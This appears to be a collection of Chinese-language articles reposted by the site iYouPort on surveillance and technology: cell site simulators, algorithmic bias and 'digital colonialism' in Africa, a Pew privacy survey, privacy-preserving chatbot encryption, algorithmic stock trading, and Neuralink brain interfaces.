未经过联邦通信委员会设备认证的蜂窝站点模拟器也违反了法律。据一位政府承包商称，该技术可用于系统地搜索蜂窝基站模拟器和其他蜂窝网络入侵。联邦通信委员会、国土安全部和其他适当的政府机构应获得查找和查封流氓蜂窝站点模拟器的任务和资源，并应就此活动起诉犯罪者。

最重要的是，黄貂鱼对国家安全、个人隐私和犯罪预防都构成了巨大的威胁。它必须至少与中国技术盗窃和俄罗斯黑客一样被严肃对待。

The bottom line is that cell site simulators pose a major growing threat to national security, personal privacy, and crime prevention. It must be taken at least as seriously as Chinese technology theft and Russian hacking.

原文

算法殖民：从不知所云的流行语到金钱驱动的流行病 - iyouport

你应该了解的现实监视资本主义的世界算法暴政

【2019年12月13日存档】由于“患病”能获得巨额利润，于是全世界的人类正在疯狂地追求全面患病。它被称为流行病。

首先回顾我们曾经推荐过的一套视频，关于算法专制的噩梦《你正在如何被操纵：这是每个人都难以躲避的无形专制》。

CyFyAfrica 2019—技术、革新和社会大会—于6月在摩洛哥丹吉尔举行。

今年的会议是第二届。这是一个充满活力的多元化的聚会，由来自65个国家（主要是非洲和亚洲国家）的各种政策制定者、联合国代表、部长、政府代表、外交官、媒体、科技公司代表和学者参加。

会议的中心目标是在全球语话中提高非洲大陆的声音。

Observer Research Foundation 主席（该会议的共同主持人之一）在开幕致辞中强调，随着非洲大陆越来越依赖高端技术以解决其社会、教育、健康、经济和金融问题，非洲年轻人的声音需要被放在首位。

该会议的目的部分是为这些年轻人提供一个平台，让他们与来自各大学的许多西方学者和工商业部门的技术开发人员一起获得提高的机会。

> 技术倡导者通常会提供各种理由，不惜一切代价地试图将生活的各个方面数字化……

相当于硅谷的科技创业公司如今可以在非洲大陆的任何角落找到 —— 亚的斯亚贝巴的“Sheba Valley”，拉各斯的“Yabacon Valley”、以及内罗毕的 “Silicon Savannah”，这是仅举几例 —— 并且非洲正在追求“银行、金融、健康护理和教育等各个领域的前沿创新。

非洲大陆确实可以从各种数字技术和人工智能发展中受益：例如，埃塞俄比亚农民可以使用众包数据分析来预测和生产更好的作物。

正如世界卫生组织公告所讲述的那样，大数据有助于改善教育和医疗保健领域的服务。数据可以帮助弥合困扰每个社会、政治和经济领域的巨大不平等…

但是，所有这些都不是我想在这里讨论的内容。

在非洲大陆内外已经有无数的顽固技术崇拜者，他们非常乐意盲目地采用任何所谓的“AI”、“智能”或“数据驱动”，而不愿重新思考可能出现的意外后果。

这很像你目前在中国看到的情况。

无论技术创新的主题出现在哪里，你通常都会发现这种情况，技术倡导者提供各种理由，试图将生活的各个方面都变成数字化，不惜一切代价。

他们在“创新”的旗帜下盲目地接受道德上完全可疑的和危险的做法和应用、“破坏性的实践”和“改变游戏规则”，几乎不会受到批评或怀疑。

在整个非洲大陆发生的一些最大规模的人工智能或机器学习会议的演讲者阵容和讨论主题中，几乎没有任何人提到道德考虑、数据隐私、或人工智能的意外后果。

再一次，和中国一样。

鉴于已经有足够多的科技崇拜者掌握着非洲大陆的技术未来，重要的是要指出需要采取的警告以及需要从世界其他地方吸取的教训。

非洲不需要也不应该亲自经历灾难性的警示故事才能发现数字化的黑暗面和生活全面技术化所带来的危机。

大数据和AI似乎为复杂的社会问题提供了快速的解决方案。但是，这正是问题出现的地方。

在全球范围内，人工智能技术正在逐步融入保险、移动银行、医疗保健和教育服务等各种领域的决策过程中。

来自非洲大陆各地的各种初创公司正在兴起 —— 例如在尼日利亚的

Printivo、在肯尼亚的 Mydawa 等等 —— 它们旨在开发下一个“前沿”应用程序、工具或系统。

与所有监视资本主义一样，他们收集尽可能多的数据来分析、推断、预测 “用户”的各种行为和习惯。

但是，在建立最新的招聘应用程序或最先进的移动银行系统的竞赛中，创业公司和大公司均忽视了每个数据点背后的人类/人权。

“数据”被视为可以争夺的东西，一种无可争议地属于科技公司和政府的东西，完全抹去了创造数据的个人。

这使得行为操纵和诱导变得非常容易，一切都是为了公司的盈利，以牺牲个人权利为代价。

从诱导到操纵，一切都是开发自动化系统的私营部门工程师才有权决定什么是“正确”。

在整个过程中，每一种被认为是“老土陈旧”的人和行为都会被迅速排斥，并加深边缘化。每当异议试图进入讨论，都会被推到一边。

与大数据一样，人工智能只是一个不经意间被抛出的流行语；众所周知的只是跨不同学科的持久争论，这个词根本无法最终定义。

它可以指从高度夸张的欺骗性机器人到 Facebook 和谷歌的内容 feeds 算法的所有一切，是这些算法在决定你能在互联网上看到什么样的内容。

所有混迹该领域的研究人员和媒体记者都有助于过度夸大和吹嘘所谓的人工智能的能力，往往将其归功于神一般的力量。

但是，正如 Melanie Mitchell 等领先的AI学者所强调的那样，我们离“超级智能”还有很远。

同样，Jeff Bigham 指出，在许多被广泛讨论的“自动”系统中 —— 无论是机器人还是语音识别算法 —— 大部分的工作都是由人类来完成的，那些通常只有微薄薪水的工人。

对所谓的人工智能系统功能的夸大，将人们的注意力从这些技术构成的真正危险中转移开来，这些危险比“杀手机器人”更加隐蔽、细致、和渐进。

人们将算法默认为是更加客观的，毕竟那些规则“适用于每一个人”。但这是关于自动化系统的最错误和最有害的误解之一。

正如哈佛数学家 Cathy O’Neil 在《Weapons of Math Destruction》中所解释的那样，“算法是嵌入代码中的意见。”

在“AI”和“数据驱动”的幌子下，系统被假装为政治中立，但由于数据被解释、收集和用于产生某些结果的方式本身具有固有的政治倾向，其结果只是加深了人类固有的偏见。

在分析数据时，这些系统改变了社会结构，强化了社会刻板印象，并进一步使那些已经处于社会等级底层的人群处于劣势。

“数据”被视为可以争夺的东西

人工智能是人类创造、控制和负责的工具，与任何其他工具一样，它嵌入并反映了人类的不一致、局限、偏见以及政治和情感的欲望。

人类对世界的看法和选择就构建在算法模型中。

因此，由谁来建立系统并选择所使用的数据和来源，将深刻影响技术可能产生的效果。

人工智能系统产生的结果反映了社会和文化上的刻板印象，而非客观事实。

社会领域中的技术使用经常是有意或无意地集中在惩罚性实践上，无论是预测谁将犯罪，还是谁不能支付抵押贷款。

宣称为了 实现“安全”和“秩序”而建立和应用的技术发展，往往旨在惩罚而不是恢复。

此外，这些技术必然会给某些人带来残忍、歧视和不人道的做法。

在这方面，中国维吾尔人遭受的残酷待遇和全世界穷人所遭受的不公平待遇就是例证。

同样，随着约翰内斯堡和坎帕拉等城市引入面部识别技术的使用，对边缘群体的歧视排斥和过度监管是不可避免的。

无论是否明确承认，商业公司开发人工智能的核心目标不是一般地纠正偏见，而是要推断个体“用户”的弱点和不足，好像人们只是作为被

操纵的对象而存在。

这些公司理所当然地认为，他们能搜罗到的所有数据都应该“属于”他们。

围绕“数据挖掘”和“数据丰富的大陆”（非洲科技领域的共同语言）的讨论，显示了每个数据点背后的个体在多大程度上从这些寡头公司的角度来看仍然是无关紧要的。

- 《非洲人的脸被用来训练中国老大哥：北京正在努力将其监视技术输出到发展中国家》

这是殖民者的态度，数字殖民，即 宣称人类是可以被自由采集的原材料。

当我们将关于社会问题的决策交给由利润驱动的寡头公司开发的自动化系统时，这意味着不仅允许社会关注的重要问题全部由这些公司的激励（利润）决定，而且，也将复杂的道德问题交给了寡头体制。

与民主背道而驰 —— 任何一个寡头公司的负责人和算法的构建者都不是民选的，不会也没有没有义务为人民的权益负责。

人类不再有自主权，仅仅被视为等待被采集的资源。

- 《心理操纵的秘密：”行为经济学”＋PR＝？》
- 《看不见的独裁》

行为算法模型的推论并不反映世界的中立状态没有提供任何深入的因果解释，而是重新描述已经强烈持有的社会性和历史性的不公正。

技术总体上不是中立的或客观的；它是反映社会偏见、不公平和不公正的镜子。

例如，在会议期间，一名联合国代表处理了正在制定的打击在线恐怖主义的工作，但令人失望地明确仅仅关注伊斯兰群体，描绘了一种不切实际和有害的在线恐怖主义形象：在过去九年中，欧洲、澳大利亚和北美洲发生了350起白人主导的极端恐怖主义袭击事件；在美国这个时期，所有此类攻击中有三分之一是由于白人极端主义。

这说明了一个令人担忧的现状，即 刻板的观点驱动了所谓的问题以及我们为应对问题而开发的技术类型。进而通过一系列技术将我们所发现的东西作为偏见直觉的证据，并进一步强化刻板印象。

社会最脆弱的群体正遭受各种数字化技术的不成比例的影响。然而，许多适用于人工智能的道德原则是坚定的功利主义。

他们宣称所关心的是“对于最多人来说最大的幸福”，显然这意味着从不寻求以少数群体为中心的解决方案。

- 《隐私究竟是给谁的？》

即使在算法决策过程中的不公平和歧视被提到了前台，“解决方案”中也几乎找不到边缘人士的利益：企业和学术道德委员会制定的缓解建议通常是在没有受影响人员的协商和参与的情况下制定的。

但是，边缘人士的声音需要在每一步都被优先考虑，包括设计、开发和实施任何技术，以及政策制定。

随着非洲努力追赶最新的技术发展，他们还必须保护非洲大陆最脆弱人群免受技术可能造成的伤害性后果。

如果真的保护和尊重 CyFyAfrica 会议领导人想要重视的年轻人的权利，那么自由和隐私就应该被优先考虑。

只有通过考虑当地价值观、背景和生活方式，以及通过将批判性声音纳入技术叙事的重要部分，才能实现个人权利和自由的指导和保障。

公平地说，CyFyAfrica 确实允许某些小组中的一些批评声音。然而，更大范围的批评声音被埋没在压倒性的科技爱好者声音之下。

会议结束后，发言人有机会在观察研究基金会运作的半学术期刊上分享他们的观点和研究成果。

具有讽刺意味的是，声称为非洲青年发声的平台只有在其声音与强大的科技寡头公司、政策制定者和政府的叙述和动机保持一致时，才能实现。

流行语就像一场流行病，目前已经席卷全球。在利益的驱动下所有人都变得疯狂。

制止技术发展是不可能的，大数据和所谓的AI必然继续被更广泛的利用；如何才能使其民主化以为大众的利益服务，也许是一个长期且艰难的问题。〇

原文

美国人的自我保护：超过一半的人拒绝使用某些电子产品和网络服务 - iYouPort

你应该了解的现实

我们经常听到一句中文，将美国称为 “灯塔”。其实这很好，因为灯塔意味着前进的方向。但这个灯塔照耀的绝不能仅仅有当权者朝着棱镜的 “前进”……

「图」

「图」

根据皮尤研究中心在2019年6月3日至17日进行的一项调查显示，当许多美国人认为自己的个人信息不太安全、并关注寡头公司和政府如何使用公民的个人数据时，有相当一部分公众因为隐私问题而选择不使用数字产品或服务。

大约一半（52%）的美国成年人表示，他们最近决定不使用某项数字产品或服务，因为他们担心自己的个人信息会被收集得太多。

某些美国人之间有一些区别。例如，在过去12个月内亲历的数据泄露经历是一个因素。那些说有人试图用他们的名字开立信用额度或申请贷款的人，比那些没有经历过这种情况的人更有可能表示自己出于对隐私的担忧而决定不使用某项产品或服务（64% vs. 51%）。

「图」

「图」

比较那些曾经被恶意者未经允许就入侵了自己的私人社交媒体或电子邮件账户的人和那些没有经历过这种情况的人，也存在类似的模式（63% vs. 51%）。

而那些表示有人在他们的借记卡或信用卡上进行欺诈性收费的人比没有经历过这种情况的人更有可能有这种担忧（56% vs. 51%）。

总的来说，经历过上述三种数据泄露事件的成年人比没有经历过这些的人更有可能出于对隐私的考虑而避免使用数字产品或服务（57% vs. 50%）。

教育水平和家庭年收入的不同也存在一些差异。约55%的大学毕业生和受过一定大学教育的成年人表示，他们因为隐私问题而决定不使用某项产品或服务，而高中或以下学历的人中，45%的人有同样的担忧。

家庭年收入在75000美元或以上的成年人中，54%的人有同样的顾虑，而年收入在 30000 美元或以下的人中，有48%的人有同样的顾虑。

「图」

「图」

该调查还包括一个分为两部分的开放式问题。

出于个人信息的考虑而决定不使用产品或服务的成年人，请描述最近作出这一决定时发生了什么。然后询问他们具体是什么产品或服务，以及发现什么问题。

大约五分之一的美国人（21％）表示，他们决定不使用特定的网站。一小部分人（11％）表示，他们决定不使用某些电子产品。类似数量的人们表示正在避免使用某些社交媒体或特定服务，例如DNA检测、财务工具或医疗保健应用程序。

至于不使用这些东西的原因，最引人关注的担忧是这些应用程序必须共享个人信息才能访问其产品或服务（15%的人这样认为）。

第二大担忧是产品或服务不可信（9%）。相似比例的受访者（8%）认为监视是一个大问题。较小比例的受访者提到了其他担忧，例如提供付款信息、潜在的第三方监视、以及垃圾邮件的风险。

一些受访者阐述了他们的推理。例如，一名64岁的男子说：“一封电子邮件随信附上文章链接。当我单击链接时，该网站要求提供有关我的个人身份信息。我拒绝提供这些信息。”

一位29岁的女士在解释自己对电子产品的担忧时写道：“我的智能电视要求允许收集音频数据和其他类型的数据进行研究。我对此不满意，所以我拒绝了。”

一名27岁的女士说："我最近对基因分析感兴趣，以便更好地了解我的祖先。但是经过研究，我发现公司实际上保留了这些信息并在其他情况下使用它。这使我无法继续使用他们的服务。老实说，我对此类服务的情况并不清楚，但这正是让我警惕使用此类服务的原因。" ○

Key takeaways on Americans' views about privacy, surveillance and data-sharing

Half of Americans have decided not to use a product or service because of privacy concerns

原文

聊天机器人的风险 - iyouport

你应该了解的现实自我保护措施-技术技巧以防身

【2020年12月8日存档】提出两种方案尝试解决聊天机器人普遍使用中产生的隐私威胁。

随着聊天机器人获得牵引力，其在不同垂直领域的应用越来越多，例如保健、银行、约会 …… 办理各种事务等等；尤其是，用户与聊天机器人分享了越来越多的私密信息 —— 相关研究已经开始强调聊天机器人的隐私风险。

本文将提出两种针对聊天机器人对话的隐私保护方法。

第一种方法是基于 “实体” 的隐私过滤和转换，可以直接在客户端上应用。然而，它需要知道聊天机器人的设计模式才能启用。第二种是基于可搜索加密的方案，它能够在不需要任何聊天机器人设计知识的情况下保护用户隐私。

最后将基于一个真实的员工帮助台聊天机器人提出一些实验结果，验证所提出的方法的必要性和可行性。

这份论文来自 Debmalya Biswas，它的预印本可以在这里下载。

- 不要错过早前的文章《世界末日的聊天机器人》

介绍

「图」

聊天机器人被誉为 “下一个交互层”，这意味着人们目前通过与网站/应用互动来消费信息的方式在很多情况下将被聊天机器人（的对话）所取代。Forrester 最近的一份报告将聊天机器人的最先进技术总结如下：

“尽管消费者对聊天机器人褒贬不一，并对其产生了反弹，但企业普

遍了解聊天机器人的价值，并继续采用聊天机器人作为客户服务的主要参与渠道。*COVID-19* 大流行的影响加强了这些企业利用聊天机器人改善服务和参与度、缓解危机状况的决心。过去两年来，聊天机器人技术供应商也迅速将这种方式应用于跨领域和垂直行业的客户服务。”

聊天机器人的研究大多集中在提高底层自然语言处理(NLP)的精度上，比如聊天机器人能更熟练地理解和回应用户的询问。

> 随着聊天机器人在不同的垂直领域，如健康、银行、交友等领域的应用越来越多，用户与聊天机器人分享的隐私信息也越来越多；研究开始强调聊天机器人的隐私风险

然而，目前所提出的方法仅限于明确共享的个人身份信息(PII)，如信用卡号码、银行账户细节、健康状况、约会偏好 等等；解决方案也仅限于传统的软件安全技术，如存储加密和多因素身份认证。虽然安全基础知识肯定是需要的，但是，对于用户提出的开放式查询所带来的更高级别的和更隐含的隐私风险，现有文献中还没有涉及。

例如，我们考虑以下两个用例来理解这种隐私风险的重要性。

用例1： 情感分析的隐私风险。

「图」

情感分析基本上是一个NLP分类任务，它允许聊天机器人根据用户的聊天回复来确定用户的（当前）情感 —— 例如，用于帮助台的聊天机器人，这样机器人就能够根据用户的情感来调整其回复。

虽然这样做的目的是为了“好”，但是，现在让我们考虑一下它们在电商场景中的应用。通过动态定价，机器人可以根据用户非常“热情”的询问，报出更高的价格。

例如，”“哇，这条裙子看起来真不错! 多少钱? ” 与更中性的询问相比，前者可能会导致更高的报价，如这样 “这件衣服符合我的要求，它的价格是多少？”

用例2：开放式查询（基于位置）。

「图」

考虑关于用户位置的开放式查询所带来的隐私风险。大多数聊天机器人通常是为特定区域设计/部署的。例如，一个人力资源信息机器人可能会被设计为公司有办事处的地方，同样，一个电子商务机器人也会被部署在供应商目前运送产品的国家。

考虑到这一点，诸如 “Hi，我现在在日内瓦。日内瓦的运费是多少？” 鉴于供应商不在瑞士送货，这就不必要地暴露了用户的位置。

在一个组织的背景下，有一个由外包厂商维护的HR聊天机器人（在云平台上），部署在日内瓦和克拉科夫；经常有员工以这样的形式询问：“我们米兰办事处的餐厅在哪里？” 这就会向供应商透露，公司员工最近经常前往米兰办事处。

传统的安全机制，如 限制对聊天机器人日志的访问（通过加密、访问控制策略等）都是不够的；因为需要对日志进行分析，以便对机器人进行持续改进，限制日志访问是完全不现实的，也根本不可能做到。

为了解决上述聊天机器人对话带来的隐私风险，本文将提出两种隐私保护方法。可应用于客户端/应用的隐私过滤和转换，以及可搜索加密，可独立于聊天机器人设计。

II. 隐私保护型聊天

「图」

A. 关于聊天机器人的基础

「图」

首先提供一些有关当前聊天机器人工作方式的背景知识。在理想的情况下，给定用户以自然语言进行查询，机器人将做出如下响应：# 了解用户的意图；

- 从知识库中检索相关内容（KB）；
- 综合答案并回应用户（再次以自然语言进行）；
- 保留对话上下文以回答用户的任何后续问题。

1. *KGEN(1^k)* 输出公私钥对 *(A_pub, A_priv)*

- *SENC(A_pub, w, m)* 在实体 w 和公共密钥 A_pub 下输出聊天消息 m 的可搜索加密 s_w

- *DOOR(A_priv, w)* 输出一个暗门 t_w，它可以按实体w搜索
- *TEST(A_pub, s_w, t_w')* 如果 w = w'，则输出消息 m

1. C 为实体列表 L 中的所有实体 w 生成暗门 t_w = DOOR（C_priv，w）并发送给 P
2. C 解析m，提取m中的所有令牌 W_m，然后为 W_m 中的每个令牌w生成一个可搜索的加密 s_w = SENC(C_pub, w, m)

- C 向S发送与 W_m 中所有令牌w的可搜索加密 s_w 相对应的列表 S_w
- 对于L中的每个实体w，P将其暗门值 t_w 与C共享的可搜索加密值 s_w 进行比较，仅在成功匹配时，P获得聊天信息 m = TEST(C_pub, s_f , t_f)，并根据其设计的对话流程进行聊天机器人响应处理（就像一般没有隐私约束的情况下那样）。

如果没有成功匹配，P就会以 “错误处理” 消息进行响应，并且永远都不会看到用户的原始聊天消息，从而保护了用户的隐私。

III. 结论

「图」

本文中概述了两种方法来执行隐私保护的机器人聊天 —— 应用哪种方法取决于聊天机器人设计和实现架构的透明度（仅需客户端/应用端与分布式部署）。希望这些方法能够解决聊天机器人中日益严重的隐私风险问题，从而不影响企业更多地采用聊天机器人。〇

原文

股市现在由计算机、算法和被动管理者运行，这意味着什么？ - iYouPort

你应该了解的现实

这种变化引发了有关市场功能、公司如何治理、以及财务稳定性的诸多问题

「图」

「图」

五十年前，投资显然是人与人之间进行的事。

“人们将不得不相互淘汰，交易员会招待基金经理，而没人会知道价格是多少，” 早期在纽约证券交易所工作的 Ray Dalio 说，那是在成立 Bridgewater Associates 之前的70年代，而 Bridgewater Associates 现在是世界上规模最大的对冲基金。

技术是基础。投资银行拉扎德（Lazard）的老板 Kenneth Jacobs 还记得曾经使用便携式计算器来分析从公司报告中收集的数据。

而他那些更年长的同事使用的是计算尺。一位投资者回忆说，即使到了80年代，“在上班时阅读《华尔街日报》、交易大厅里的电视和纸带（通过电报传输股票价格的信息）” 都提供了重要的信息优势。

然而从那时起，人类在交易中所扮演的角色迅速消失了。取而代之的是计算机、算法和被动管理者，它们提供一种持有一篮子股票以匹配股市或股市的收益的指数基金，而不是试图击败它。

「图」

「图」

金融自动化化的兴起不仅改变了股市的速度和构成。它还提出了有关市场功能、市场对更广泛的经济的影响、公司的治理方式、以及金融

稳定性的诸多问题。

美国正在自动化

投资者一直在使用各种技术收集市场动态信息抢在竞争对手之前。

荷兰东印度公司的早期投资者在到达荷兰之前就希望获得有关好望角周围船只的新闻通讯。据称，罗斯柴尔德家族的大部分财富要归功于一羽赛鸽，鸽子携带的关于滑铁卢战役的消息比船只更快。

当今的技术进步开始蔓延。

机器首先进行了更轻松的工作。70年代那些在交易所互相吼叫的现场交易员们开始被电子执行所取代，这使每个人都更容易收集价格和交易量数据。反过来，可以通过提高价格确定性来改善执行力。

在投资组合管理中，算法也已经存在了数十年。 1975年，Jack Bogle创立了先锋集团（Vanguard），该公司创建了第一只指数型基金，从而实现了最简单的投资组合自动化。

在80年代和90年代，出现了更先进的自动化产品，例如定量对冲基金（称为“量化”基金）和交易所交易基金（etfs）。

一些 etfs 跟踪指数，但另一些 etfs 通过自动化人类长期以来崇尚的决策（例如购买所谓的价值股）来遵循更复杂的投资规则。

自成立以来，许多量化基金都设计了可以搜索市场数据、寻找具有其他吸引力的股票和人为选择的特征（在行话中称为“因素”）的算法。

“因素”的想法来自两位经济学家，尤金·法玛（Eugene Fama）和肯尼斯·弗朗西斯（Kenneth French），并由 Fama 的学生克里夫·阿内斯（Cliff Asness）付诸实践。

Fama 于1998年创立了 aqr Capital Management，这是一家经营着全球最大对冲基金的投资公司。

诸如 AQR 程序算法之类的量化基金可以根据经济理论得出的因素并通过数据分析证明的因素来选择股票，例如动量（近期价格上涨）或收益率（支付高股息）。

最初，只有少数资金管理人员拥有处数据的技术。而现在，每个人都能这样做。

“基于规则的” 机器运行的投资策略（使用算法执行投资组合决策的策略）正在不断地变化。

一些量化基金（例如 Bridgewater）使用算法进行数据分析，但要求人工选择交易。但是，许多量化基金，例如 Two Sigma 和 Renaissance Technologies，都通过使用机器学习和人工智能使机器能够选择要买卖的股票，从而进一步推动了自动化。

这提高了计算机接管人类投资者的最终任务的前景：分析信息以设计投资策略。如果顺利，也许可以使人们更好地了解市场的运作方式以及公司的价值。

现在，是算法交易员在股票市场上执行订单。在 NYSE 的矮楼上进行的交易越来越少，而在新泽西州安静地使用计算机服务器进行的交易则更多了。

根据德意志银行的说法，90％的股票期货交易和80％的现金股票交易都是通过算法执行的，无需人工操作。

研究公司 Tabb Group 的拉里·塔布（Larry Tabb）说，金融衍生品市场也以电子执行为主。

越快越好？

每天在美国股市上约有70亿股股票交易，价值3200亿美元。其中大部分是高频交易，为了获得转瞬即逝的收益。

高频交易员充当中间人，参与每日交易量的一半。但是，即使不包括交易者，仅看投资者，基于规则的投资者现在也占据了交易的大部分。

「图」

「图」

三年前，量化基金成为美国股票市场最大的机构交易量来源（上图）。据塔布集团（Tabb Group）的数据，今年迄今为止，它们占机构交易量的36％，而2010年仅为18％。

摩根大通（JPMorgan Chase）的杜布拉夫科•拉科斯-布亚斯（Dubravko Lakos-Bujas）表示，机构交易中只有10％是由传统股票基金经理完成的。

根据罗素3000指数，美国公共股权的总价值为31万亿美元。三种类型的计算机管理基金（指数基金，ETF和量化基金）占其中的35%（见下图）。人力管理人员仅管理24%。（其余的约40%很难衡量，由其他种类的所有者组成，例如持有大量股份的公司）

「图」

「图」

在占18万亿～19万亿美元的管理资产中，大多数由机器维护。指数基金管理着这笔钱的一半，约合9万亿美元。研究公司伯恩斯坦（Bernstein）说，其他量化基金还会再管理10%至15%，约合2万亿美元。其余的35–40%，价值7～8万亿美元，由人类监督。

对冲基金是观察算法投资进度的一个棱镜。

世界上五个最大的公司中的四个（Bridgewater，AQR，Two Sigma 和 Renaissance）是专门为使用量化方法而建立的。

唯一的例外是，英国对冲基金 Man Group 于2014年收购了总部位于波士顿的量化股票基金管理人 Numeric。如今 Man Group 管理的资产中有一半以上是量化基金。

十年前，他们所管理的对冲基金资产总额的四分之一是量化基金，据研究小组 HFR 称，现在是30%。考虑到像 Point72 这样的传统基金已经采用了部分量化的方法，这一数字可能低估了这一转变。

结果是，股票市场现在非常高效。新的自动化市场带来了更低的成本。被动型基金每年收取管理资产的0.03–0.09%。对冲基金利用杠杆和衍生品来进一步提高回报，但收取20%的回报作为绩效费。

较低的交易成本意味着有关公司的新信息会立即反映在其价格中。最低收费也正在扩散。 去年10月1日，领先的网上证券公司 Charles Schwab 和竞争对手 TD Ameritrade 都宣布将把交易费降低到零。

免交易费增加了流动性，更高的流动性意味着交易者可以购买股票的价格与其可以出售股票的价格之间的价差更低了。

但是许多批评家认为，这是一种误导，因为高频交易者提供的流动性与银行提供的相比并不可靠。贸易公司 Citadel Securities 最近发表的一篇论文驳斥了这一观点。

它表明，在单个公司的股票中执行一笔小额交易（例如10,000美元）的价差在过去十年中急剧下降，并且一直处于较低水平。规模最大的交易（最高达1000万美元）在最坏的情况下保持不变，并且在大多数情况下有所改善。

计算机不会惊慌失措？

机器的市场主导地位肯定会进一步扩大。现在可以通过 etfs 广泛获得曾经由人类设计的因素策略。一些 etfs 寻找具有多因素的股票；其他的则遵循“风险平价策略”，这是 Dalio 率先采用的方法，旨在平衡不同类别资产的波动性。

复杂性每增加一个级别，人类的工作就减少一部分。“二十年前，最好的基金经理是最有直觉的基金经理，而现在，是那些能玩转机器和人工智能的人”。

为了了解市场的发展趋势，国际象棋提供了一个有启发性的例子。

1997年，IBM 超级计算机 Deep Blue 击败了卫冕世界冠军 Garry Kasparov。在某种程度上，这是机器战胜了人类的第一次胜利。

Deep Blue 是使用人类玩家编写的规则进行编程的。它以人文风格呈现，但比任何人类都能更好、更快地决策。

到 2017年，Google 推出了 AlphaZero，这是一台掌握国际象棋规则的计算机，然后自学了如何下棋。经过四个小时的训练它就击败了 Stockfish，这是使用人类战术编程的最好的国际象棋机器。

量化基金可分为两类：一类就像 Stockfish，它使用机器来模拟人类的策略；另一些则像 AlphaZero，它们自己制定策略。

投资者说，三十年来量化投资一直始于假设；投资者将根据历史数据对其进行测试，并对其是否继续有用做出判断。而现在，顺序完全不同了。他说：“我们从数据开始，然后寻找一个假设。”

人类并非完全没用。他们的作用是选择要输入到机器中的数据。“您必须告诉算法要查看哪些数据。如果您将机器学习算法应用于过大的数据集，通常会趋于恢复为非常简单的策略，例如动量。”

但是，正如 AlphaZero 的策略看起来明显非人一样，Lazard 的 Jacobs 说，人工智能驱动的算法投资也通常可以识别出人类识别不到的因素。

人类思想家可能会寻求了解机器发现的东西以发现新的“可解释”因素。新因素最终会被加入当前的因素中。但有一段时间内，它们会给持有它们的人带来好处。

许多人持谨慎态度。 AQR 的机器学习负责人耶鲁大学的布莱恩·凯利（Bryan Kelly）表示，该公司已经发现纯粹由机器产生的因素似乎在一段时间内表现出色。

“但是，最终，它们证明是虚假的。”他说，将机器学习与经济理论相结合会更好些。

其他人则是完全持怀疑态度的，其中包括 Dalio。他指出，在国际象棋中，规则保持不变。相比之下，市场是在不断发展的，这不仅是因为人们在不断学习，而且他们所学到的东西也包含在价格中。

“如果有人发现的是您已经发现的东西，不仅不值钱，而且贬值了很多，并且会造成损失。不能保证以前行之有效的策略将再次奏效”，他说。

可用数据也不像最初认为的那样有用。传统的对冲基金经理现在可以分析各种数据，以做出他们的选股决策：从信用卡记录到卫星图像、再到私人飞机。但是，数据的这种扩散并不一定使机器能够接管发现新投资因素的关键。

原因是，按照人工智能应用的标准，相关的数据集很小。对于股市中的投资者来说，这可能是每月的回报 —— 仅几百个数据点。与用于训练识别人脸或驾驶汽车的算法的千兆字节数据相比，这几乎不值一提。

「图」

「图」

关于机器驱动投资的一个经常能听到的抱怨是完全相反的。这些批评家说，这不只是一场混乱，而是恐怖。一种担心是，这些算法可能会促使股价更频繁且更突然地受到冲击。

特别令人关注的是“闪电崩盘”。 2010年，在短短几分钟内，标普500指数的价值就蒸发了5%以上。2014年，也是短短几分钟内大幅上涨了5%以上。

在这两种情况下，市场多数状况是在一天结束时已恢复正常，但监管

机构指责高频交易者提供的流动性不足可能加剧了此举。

1987年，所谓的程序化交易（在市场低迷时期卖出股票）促成了黑色星期一大跌，道琼斯指数一天之内跌了22%。但是当时的问题是“放牧”，即资金管理者围绕单一策略聚集。

而如今，存在更多的多样性，不同的投资基金使用不同的数据来源、时间范围和策略。AQR 的 Michael Mendelson 认为，算法交易已成为替罪羊。

“当市场下跌时，投资者必须解释这一损失。他认为，机器甚至可能会使市场平静下来。“计算机不会惊慌。”

金钱永不眠

另一个困扰是竞争没了。全球最大的资产管理公司之一抱怨说：“市场正在成为赢家通吃”。他说：“我认为我们甚至无法在这场比赛中接近竞争。”

仍然存在真正的恐惧：如果量化基金履行其最疯狂的推动者的承诺会发生什么？股市对现代经济至关重要。它们将需要现金的公司与投资者进行匹配，并表明公司的状况如何。它们的运作方式对财务稳定性和公司治理具有重大影响。

因此，很重要的一点是，与人为决策无关的算法开始发挥作用。

从机器衍生的因素中获得优势的前景将吸引其他理财人员加入。担心后果是很自然的，因为这是迈入未知事物的旅程。

但是，市场越准确、效率越高，为投资者和公司提供的服务就越好。

如果以历史为指导，那么任何新的交易优势都只会首先使少数人受益。但是市场是无情的。优势的资源将公开并被复制。还有一些新事物将被理解，不仅涉及股市，而且涉及其反映的世界。〇

The stockmarket is now run by computers, algorithms and passive managers

广告

原文

脑控技术的争议 - iyouport

你应该了解的现实

您愿意让其他人控制您的大脑吗？读取、甚至操纵您的思想？

这只葛簇特猪在充满稻草的猪圈周围，对摄像机和围观者—— 以及1,024个电极对其大脑信号的窃听 —— 视而不见。每当猪的鼻子发现研究人员手中的食物时，就会响起一阵音乐铃声，表明它的鼻子控制神经细胞的活动。

这些哔哔声是埃隆·马斯克的公司 Neuralink 在去年8月28日进行的大揭秘的一部分。“在很多方面，它有点像你头骨里的Fitbit，有细小的电线”，特斯拉和SpaceX的创始人马斯克谈到这项新技术时说。

神经科学家几十年来一直在记录动物的神经细胞活动。但马斯克和其他人将人类与计算机连接起来的雄心壮志，其影响力令人震惊。具有未来意识的企业家和研究人员的目标是监听我们人类的大脑，甚至可能重塑我们的思维。想象一下，能够用你的思维召唤你的特斯拉，绝地武士范儿的。

一些科学家称葛簇特猪的介绍是一个滑稽的宣传噱头，充满了无法实现的承诺。但马斯克以前也曾给人们带来过惊讶。西雅图艾伦脑科学研究所的神经科学家克里斯托夫·科赫(Christof Koch)说：“你无法和一个自己制造电动汽车并将其送入火星轨道的人争论”。每当这只猪的口鼻接触到东西时，它大脑中的神经细胞就会发出被植入设备检测到的电信号（信号显示为黑色的波浪线）。类似的技术被认为有一天可能会帮助瘫痪的或脑部疾病的人。

Neuralink 最终是否会将大脑和特斯拉合并，这不是重点。马斯克并不是唯一追求神经技术的梦想家。该领域进展很快，涵盖了各种方法，包括可能能够区分饥饿和无聊的外置耳机；植入电极，将说话的意图转化为真实的文字；以及利用神经冲动进行打字的手镯，无需键盘。

- 当然，还包括战争狂《超级战士：DARPA 想要制造精神控制的战争武器》

